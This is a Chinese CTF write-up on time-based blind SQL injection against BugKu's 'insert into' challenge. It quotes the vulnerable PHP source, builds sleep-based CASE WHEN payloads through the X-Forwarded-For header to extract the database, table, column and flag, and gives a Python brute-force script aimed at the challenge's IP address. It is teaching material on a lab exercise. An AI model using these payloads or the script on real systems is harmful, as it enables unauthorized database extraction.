在网站中没有直接回显,没有输出结果,所以得一个一个的猜解长度、字符,通过数据库查询的True和false结果来判断,一般为 布尔注入和时间注入,这篇主要记录时间注入,总结一下就是,当查询返回的结果为1(True)时,通过sleep()来使数据库休息几秒,当访问的时候时间过长就说明该结果是正确的
和一般的sql注入思路差不多,只是盲注更有技巧也更有难度
正常的思路都是: 数据库->表名->字段名 (没有不正常的)
这里面分为两个函数可以用的
length(判断长度) substr(判断字符)
再通过select database()这些命令来查看结果,例如

通过select length((select database()))可以轻松的知道当前所使用的数据库的长度
接着就可以通过这个长度来猜解字段
#猜解第一位的字符为m
select substr((select database()) from 1 for 1)='m';
#猜解第二位的字符为y
select substr((select database()) from 2 for 1)='y';
最近在BugKu上看到了一个题目名为insert into的题目,
题目链接: http://123.206.87.240:8002/web15/
源代码为
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; #从x_forwarded_for获取IP
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip); #过滤逗号
return $ip_arr[0];
}
$host="localhost";
$user=""; #故意不写出来
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); #连接数据库
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip; #XFF是什么就输出什么
$sql="insert into client_ip (ip) values ('$ip')"; #写入数据库,利用点
mysql_query($sql);源码中可以看到,输出点不会产生任何漏洞,写什么就输出什么,所以得用盲注来猜解
把sql语句单独提出来
$sql="insert into client_ip (ip) values ('$ip')";这里可以构造注入语句为
# 语句 127.0.0.1')#
#这是语句还是正常的
insert into client_ip (ip) values ('127.0.0.1')#)因为过滤了逗号的原因,所以得换个方式构造盲注语句
127.0.0.1' and ( case when (条件) then sleep(4) else 1 end)) #当里面的条件成立时,等于1,数据库就会停止4秒,而当条件不成立时,便直接该干嘛干嘛
先测一下数据库长度
127.0.0.1' and (case when (length((select database()))=5) then sleep(4) else 1 end )) #猜解结果为5,接着使用substr来猜解字符(最后多出来的一个空格是用来闭合语句的)
127.0.0.1' and (case when (substr((select database()) from 1 for 1)='w') then sleep(4) else 1 end )) #猜解到数据库为第一位是'w'
接着是表,表的话得去information_schema中查找
127.0.0.1'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from 1 for 1 )='c') then sleep(4) else 1 end )) #解释一下其中"条件"的意思
查询information_schema(数据库).tables(表)中所有的table_name(字段名)且数据库名字为(database())
猜解出所有的表名后,再通过语句猜解字段
127.0.0.1'and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from 1 for 1 )='f') then sleep(4) else 1 end )) #最后的猜解结果为
数据库->表名->字段名
web15 -> flag -> flag
最后直接爆破内容就完了
127.0.0.1'and (case when (substr((select group_concat(flag) from web15.flag) from 1 for 1 )='c') then sleep(4) else 1 end )) #最后呢,由于这些猜测不是人干的事,所以我们得交给机器做,下面是源码(Python3)
import requests
url="http://123.206.87.240:8002/web15/"
flag=""
#data = "127.0.0.1' and (case when (substr((select database()) from "+str(i)+" for 1)='"+a+"') then sleep(4) else 1 end )) #" #猜解数据库
#data = "127.0.0.1'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from "+str(i)+" for 1 )='"+a+"') then sleep(4) else 1 end )) #" #猜解表
#data = "127.0.0.1'and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from "+str(i)" for 1 )='"+a+"') then sleep(4) else 1 end )) #" #猜解字段
for i in range(40):
for a in "1234567890-=_+qwertyuiopasdfghjklzxcvbnm,.":
data = "11'and (case when (substr((select group_concat(flag) from web15.flag) from "+str(i)+" for 1 )='"+str(a)+"') then sleep(4) else 1 end )) #"
# print data
headers = {"x-forwarded-for":data}
try:
result = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag += a
print(flag)
break
print("flag: "+flag)参考链接: https://www.cnblogs.com/sijidou/p/9657026.html